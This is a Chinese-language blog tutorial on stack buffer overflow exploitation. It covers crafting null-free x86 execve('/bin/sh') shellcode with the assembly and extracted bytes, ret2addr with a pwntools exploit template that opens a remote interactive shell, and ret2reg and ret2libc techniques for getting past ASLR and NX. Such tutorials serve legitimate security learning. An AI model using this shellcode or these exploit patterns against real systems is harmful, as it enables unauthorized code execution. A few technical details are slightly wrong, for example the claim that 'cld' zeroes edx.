文章

栈溢出指南

一个关于栈溢出的指南

主题:

  • 基本栈溢出

  • 针对缓存区溢出防护的对策

shellcode

栈溢出的最终目的是执行shellcode,夺取shell,因此本文将会从shellcode开始讲起。

shellcode通常是软件漏洞利用中的一小段代码,主要用于启动shell或干一些奇怪的事来让攻击控制正台机器

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a

这段代码的就是一段shellcode,其功能为

print("fuck");
return 0;

当然,想要写一段shellcode也不是特别难,主要流程为

使用c语言描述shellcode要完成的逻辑功能
将C语言翻译成汇编语言
编译和测试
测试通过后提取机器码

有两个书写shellcode时需要注意的问腿

由于缓存区漏洞是由于无长度限定的print家族(输入的是字符串,依靠'\0'(ascii码为0)结尾)造成的,所以shellcode不能有0字节,否则会被截断。
由于漏洞一般不能溢出无限大的字符串,所以不应该过于长。

shellcode一般达成以下功能

提升权限为root,即调用suid(0)
启开bash,全面控制系统,即调用execve("/bin/bash, NULL, NULL);
打开网络端口,让攻击者连接该端口进行控制
反向连接攻击者提供的端口,进行反向控制。(反弹shell)

shellcode的编写

虽然现在到处都可以找到现成的shellcode,但是我认为到还是有必要学习shellcode的编写。

下面我将阐述关于shellcode编写构成中的小问题的解决

虽然说由于栈溢出的漏洞多半是不能在构成参数的字节里中出现0。但是很明显,在代码中多半会出现0。

例如:

MOV eax,0
MOV eax,0x00000005(前三个字节都是零会把作为参数的字符串截断)

有以下两个方法可以解决这个问题,完成寄存器清零与给寄存器赋予一个极小的数。

xor eax eax 这样就可以将将eax置零
还有cld可以将edx进行置零

如果需要将eax的值赋为0x5,不能直接写成mov eax, 0x05,因为它会生成机器码mov eax, 0x00000005,会有0填充(因为一个字节只能有8位你丢进去了32位那自然会有数据为零的内存基本单元出现)。

可以采用下面这个技巧:

xor eax, eax
mov al, 0x05

虽然说在有些情况下,我们可以知道shellcode的绝对地址,从而跳转到shellcode处,但是在有些情况下shellcode中shellcode的位置是会变化的,这导致了shellcode所要填写的地址难以确定。但是我们可以使用另一个技巧来进行处理。
例如call技术:
call指令是相对转跳,但会在栈上压上绝对地址,然后再弹出就可以获取绝对地址

jmp short get_string
code:
       pop eax            ; 这里弹出的是call指令压栈的下条指令的地址,即"hello world"字符串的地址
get_string:
      call code
data:
db 'hello world', 0x0a

linux系统调用是通过 int 0x80来陷入内核态的,在此过程中系统调用号通过eax来传递,而参数则是通过ebx,ecx,edx,esi来传递的。

在补充了这些基础知识后我们开始真正的着手开始编写shellcode,可以直接使用gcc对汇编文件.S进行编译链接,生成标准的可执行ELF文件,同时也是直接进行测试,但又一点不方便的是提取机械码很不方便。

为了提高提取机械码的效率,nasm编译器生成bin格式文件,而且没有其他东西,棒棒哒

例如我们想要书写一个夺取shell的shellcode,我们需要书写的核心代码是

char *argv[2];

argv[0] = "/bin/sh";
argv[1] = NULL;//指针数组需要以NULL结束不然会接着寻找接下去的指针

execve("/bin/sh", argv, NULL);//execve是内核级系统调用,第二个参数为数组指针,第三个参数为新的环境变量

excve的系统调用号为11

接下来我们将会将其转化为汇编代码(需要注意寄存器传参这一情况)
先将字符串压到栈上

xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f

这样子压入了"/bin/sh",应该注意因为地址是从高地址向低地址蔓延的,所以需要从字符串的尾巴开始压起。

字符串在内存中的分布如下
低 结束'\0'
↑↑ 第三部分
↑↑ 第二部分
高 第一部分
换言之,栈顶指向的永远是一块数据的开始

由于我们需要让shellocde尽可能的短,所以我们不需要将没用的数据从堆栈中拿出,只需要简单的弃用就可以了

紧接着将这个字符串的指针也就是现在的栈顶取出,并压入栈中

mov ebx,esp
push ebx

由于我们前面所对edx做的操作使得edx的值是0(即NULL)所以只需要

push edx

就把argv的数据全放在栈里了,然后

mov ecx,esp

最后把系统调用号即11赋给eax

xor eax eax
mov al 0xb

这样操作过后,eax为系统调用号,ebx为“/bin/sh”,ecx为argv,edx为新的环境变量,大功告成,紧接着我们

int 0x80

进行系统调用,大功告成。拼接过后的代码为

BITS 32  

xor edx, edx  
push edx  
push 0x68732f2f  
push 0x6e69622f  

mov ebx, esp  

push edx  
push ebx  

mov ecx, esp  

xor eax, eax  
mov al, 0xb  

int 0x80  

编译生成机器码

nasm -o shell2 shell2.s

生成的shell2文件为bin数据,全是机器码,没有任何格式数据,使用Linux命令转换成bash或者perl可输入的shellcode.

$ od -t x1 shell2 | sed -e 's/[0-7]*//' | sed -e 's/ /\\x/g'

得到

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52
\x53\x89\xe1\x31\xc0\xb0\x0b\xcd

这就是我们的shellcode了

return-to-address

有了以上的这些知识我们就可以使用最为简单的ret2addr攻击了。
技术的核心是使用覆盖EIP来返回到确认地址,虽然十分简单粗暴,但是随着32位与64位的普及与alsr技术的普及逐渐失去功效,但是在某些特殊的场合这种技术仍然闪烁着光辉。千里之途,始于足下,下面让我们来学习这门技术吧。

首先我们先温习一遍内存中的数据存放

低  临时变量3 EBP-xxx
↓↓  临时变量2 EBP-xxx
↓↓  临时变量1 EBP-xxx
↓↓  <------EBP
↓↓  EBP原值
↓↓  EIP原值
↓↓  参数1
↓↓  参数2
高  参数3

内存的操作数据的存放顺序是反过来的哦

这一种存储方式虽然高效但是会有一个致命的弱点,那就是内存中临时变量被溢出会把EIP盖掉,导致程序流就会走向你想要的任何地方(前提是没开canary等等的保护,绕过它们的方法以后会写)。

所以你需要知道shellcode在哪儿,才能精确的跳转至shellcode。这也就是为什么这种技术被称为热ret2addr。一般来说我们会在盖掉EIP的时候顺便在下面写下shellcode所以这个地址我们一般也是知道的。

在进行这种溢出的过程中我们一般需要确认EIP的地址才可以进行精准的覆盖,不至于让我们的程序滑到谁也不知道的地方去。

EIP的定位

有两种方法:
1.不停地向新开的程序里丢大小不同的垃圾最后当程序因为异常退出时就可以知道EIP的地址了。
2.通过ida看当前栈帧里的内容决定丢多少垃圾进去。
有些情况下会发生栈帧很大导致难以试出EIP或者ida分析不出的情况,可以考虑我的另一篇博客的所写的gdb-peda中的pattern大法。

exp的写法

通用模板

# -*- coding:utf-8 -*-
from pwn import *

sh = remote("????",????) # 与服务器交互
junk = 'a'*0x?? # 填充
fakebp = 'a'*8# 淹没bp
syscall = ?????????????
payload = junk + fakebp + p64(syscall) # p64对整数进行打包
sh.send(payload)
sh.interactive() # 直接反弹shell进行交互

更改?????的内容就可以了。

return-to-register(绕过aslr)

虽然说我们上文的技术十分有效,但是魔高一尺,道高一丈,安全技术人员发明了aslr技术对程序进行保护使得偏移量甚至达到2g,这让我们难以确认shellcode的真正位置。

aslr在linux系统上是一个编译选项而非像windows一样是一个链接选项。linux的alsr安全性高于windwos,但是会拖累程序的运行速度,所以aslr在linux上并非很普遍。

因为alsr会把栈的基址与栈帧随机掉,那么我们就不知道我们的shellcode会随机到哪里去了。而且确认EIP位置也成了一大难题,因为栈帧的变动会导致EIP变动。

但是真正的黑客从不畏惧艰难,勇于向不可能发起挑战,他们发明了ret2reg技术(当然nop-slide之类的技术也可以做到)

当然aslr+pie依然可以干掉这些大胆的黑客,当然这就是后话了。
IDE的优化也可以,(笑

原理

系统中的某一些函数会将当前栈帧的地址暴露出来,尤其是处理字符串等。有些情况下会把地址暴露到寄存器中。那么我们在写入shellcode后可以通过寄存器定位,然后在EIP中跳到寄存器位置加上相对偏移。

实现

如果你一步步按这个方法进行操作的话,你会碰到一个问题。你需要进行

call xxx
//jump xxx

但是它们在哪呢,我应该怎么样在程序中EIP中填写地址才能跳到那儿呢。aslr有一个特点可以帮助我们解决这个问题,那就是

前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。
事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到, stack2在编译时没有使用-fPIE选项。

我们可以通过objdump和grep命令来寻找call xxx相关的指令,然后在EIP中覆写这个地址,然后想办法把shellcode放到寄存器所在的地址去。然后就成功了。

局限

如果程序中的寄存器指的地方你覆写不了(比如说在溢出点上面),或者下面的程序修改了这个寄存器的值,那这个方法就无能为力了。

return to libc(绕过NX)

数据执行保护

在linux环境下所说的NX与windows平台下的DEP是同一个东西,即数据执行保护。

其功能为通过将非代码段的代码设为不可执行,从而避免程序流被劫持到堆栈等位置的shellcode中。一旦EIP移动到非代码段中,CPU就会报异常,然后杀死这个进程。

在64位系统上,这个防护的实现主要通过内存页上的NX位。在windows环境下的32位系统则通过软件模拟的方式实现了这一防护。而linux的32位操作系统则没有这样的防护可以选择.

微软在windows XP系统上首先实现了这一防护。
此外这一机制在windows上一般被称为DEP,而在linux上被称作NX。

原理

虽然非代码段代码无法正常执行,但是我们可以把代码注入到现成的代码段。我们可以通过调用libc中的system函数来实现我们之前的shellcode中的功能。根据32位函数调用的规范,它会将堆栈中的数据当成参数。而堆栈的更改可以通过溢出等方式来实现(如果开了金丝雀防护的话需要从长计议)。

在linux中使用了libc的加强版本glibc。

利用

因为我们需要伪造一个调用

所以我们的payload是A*n + system地址(对应EIP) + 返回地址 + "/bash/sh"(参数)

首先通过pattern生成一个足够大的字符串,定位EIP的位置与A的数量,这都是老生常谈的了。但是我们这次需要查看转储的核心文件core。

我们通过p system

暴露出libc中system函数的位置。

当然,如果你想要避免程序的非正常退出(瞎填的EIP使程序走向了奇怪的位置),你也可以在返回地址中填入exit的地址。

方法为p exit

巧妙地设计甚至可以绕过aslr因为不再需要定位shellcode。

局限

如果你使用过这个方法的话,你就会发现这个方法是行不通的,因为现在有了一种新的保护机制叫做ASCII armoring来对抗ret2libc,它把libc中所有的地址的第一个字节都设为零,这就导致了在溢出时溢出内容会被截断,而开了NX以后又无法使用shellcode来绕过这一个限制。


本来应该在之后根据ASCII armoring的弱点讲ret2plt,但是在这之前还需要补充很多知识,才可以继续。故将新开一篇文章来对glibc中的一些特性进行讲解。

License:  CC BY 4.0